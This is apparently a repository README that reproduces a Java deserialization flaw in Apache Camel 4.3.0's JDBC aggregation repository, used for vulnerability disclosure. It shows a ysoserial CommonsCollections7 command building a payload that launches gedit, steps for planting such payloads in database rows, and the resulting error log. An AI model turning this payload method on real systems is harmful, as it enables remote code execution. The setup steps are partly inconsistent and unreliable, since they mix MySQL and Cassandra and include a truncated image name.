croway/potential-cassandraCVE discovery
We'll need a Mysql instance
docker run --rm -d --name cassandra -p 9042:9042 cassandr
Now we'll need to create the required tables:
You have two files: employee.sql and employee_completed.sql
Run the following command:
docker exec -it cassandra bash
root@fe5e7aff17e7:/# cqlsh
CREATE KEYSPACE db WITH REPLICATION = { 'class' : 'SimpleStrategy', 'replication_factor' : 1 };
Insert your password, execute USE db; and run the two SQL files.
At this stage you already have the required bits to reproduce the deserialization.
The payload we are using is based on commons-collections 3.2.1.
You'll need to use:
https://github.com/frohoff/ysoserial
From the command line you can recreate the payload this way:
java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens java.base/java.net=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections7 gedit | xxd -p
This will return the Hex version of the payload. The idea is to run gedit command while deserializing.
You can play with possible payloads and change the SQL scripts by changing the INSERT statement and add the new
generated payloads.
To reproduce the behavior. First of all select a JDK 17 (locally or through SDKMan).
The run the following command:
mvn clean install -Dcamel.version=4.3.0 -Dspring-boot.version=3.2.0 -Djava.version=17 spring-boot:run
This will give the following output:
[INFO] --- spring-boot:3.2.0:run (default-cli) @ camelsql ---
[INFO] Attaching agents: []
. ____ _ __ _ _
/\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
\\/ ___)| |_)| | | | | || (_| | ) ) ) )
' |____| .__|_| |_|_| |_\__, | / / / /
=========|_|==============|___/=/_/_/_/
:: Spring Boot :: (v3.2.0)
2024-01-10T11:50:05.523+01:00 INFO 28404 --- [ main] c.example.camelsql.CamelsqlApplication : Starting CamelsqlApplication using Java 17.0.8 with PID 28404 (/home/oscerd/workspace/apache-camel/security/camelsql/target/classes started by oscerd in /home/oscerd/workspace/apache-camel/security/camelsql)
2024-01-10T11:50:05.526+01:00 INFO 28404 --- [ main] c.example.camelsql.CamelsqlApplication : No active profile set, falling back to 1 default profile: "default"
2024-01-10T11:50:06.897+01:00 INFO 28404 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Apache Camel 4.3.0 (camel-1) is starting
2024-01-10T11:50:06.903+01:00 INFO 28404 --- [ main] com.zaxxer.hikari.HikariDataSource : HikariPool-1 - Starting...
2024-01-10T11:50:07.062+01:00 INFO 28404 --- [ main] com.zaxxer.hikari.pool.HikariPool : HikariPool-1 - Added connection com.mysql.cj.jdbc.ConnectionImpl@418f890f
2024-01-10T11:50:07.064+01:00 INFO 28404 --- [ main] com.zaxxer.hikari.HikariDataSource : HikariPool-1 - Start completed.
2024-01-10T11:50:07.093+01:00 INFO 28404 --- [ main] o.a.c.p.a.j.JdbcAggregationRepository : On startup there are 1 aggregate exchanges (not completed) in repository: employee
2024-01-10T11:50:07.094+01:00 WARN 28404 --- [ main] o.a.c.p.a.j.JdbcAggregationRepository : On startup there are 1 completed exchanges to be recovered in repository: employee_completed
2024-01-10T11:50:07.096+01:00 INFO 28404 --- [ main] o.a.c.p.aggregate.AggregateProcessor : Using RecoverableAggregationRepository by scheduling recover checker to run every 5000 millis.
2024-01-10T11:50:07.098+01:00 INFO 28404 --- [ main] c.s.b.CamelSpringBootApplicationListener : Starting CamelMainRunController to ensure the main thread keeps running
2024-01-10T11:50:07.099+01:00 INFO 28404 --- [inRunController] org.apache.camel.main.MainSupport : Apache Camel (Main) 4.3.0 is starting
2024-01-10T11:50:07.106+01:00 INFO 28404 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Routes startup (started:1)
2024-01-10T11:50:07.107+01:00 INFO 28404 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Started route1 (timer://select)
2024-01-10T11:50:07.107+01:00 INFO 28404 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Apache Camel 4.3.0 (camel-1) started in 209ms (build:0ms init:0ms start:209ms)
2024-01-10T11:50:07.115+01:00 INFO 28404 --- [ main] c.example.camelsql.CamelsqlApplication : Started CamelsqlApplication in 1.839 seconds (process running for 2.453)
2024-01-10T11:50:08.176+01:00 ERROR 28404 --- [ timer://select] o.a.c.p.e.DefaultErrorHandler : Failed delivery for (MessageId: 41CB7CFEF0673B6-0000000000000000 on ExchangeId: 41CB7CFEF0673B6-0000000000000000). Exhausted after delivery attempt: 1 caught: java.lang.RuntimeException: Error getting key == 0 from repository employee
Message History (source location and message history is disabled)
---------------------------------------------------------------------------------------------------------------------------------------
Source ID Processor Elapsed (ms)
route1/route1 from[timer://select?repeatCount=1] 69
...
route1/aggregate1 aggregate[${header.aaa} == 0] 0
Stacktrace
---------------------------------------------------------------------------------------------------------------------------------------
java.lang.RuntimeException: Error getting key == 0 from repository employee
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:366) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:341) ~[camel-sql-4.3.0.jar:4.3.0]
at org.springframework.transaction.support.TransactionTemplate.execute(TransactionTemplate.java:140) ~[spring-tx-6.1.1.jar:6.1.1]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:341) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:335) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doAggregation(AggregateProcessor.java:483) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:406) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:360) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.process(AggregateProcessor.java:316) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.handleFirst(RedeliveryErrorHandler.java:462) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.run(RedeliveryErrorHandler.java:438) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.doRun(DefaultReactiveExecutor.java:199) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.executeReactiveWork(DefaultReactiveExecutor.java:189) ~[camel-base-engine-4.3.0.jar:4.3.0]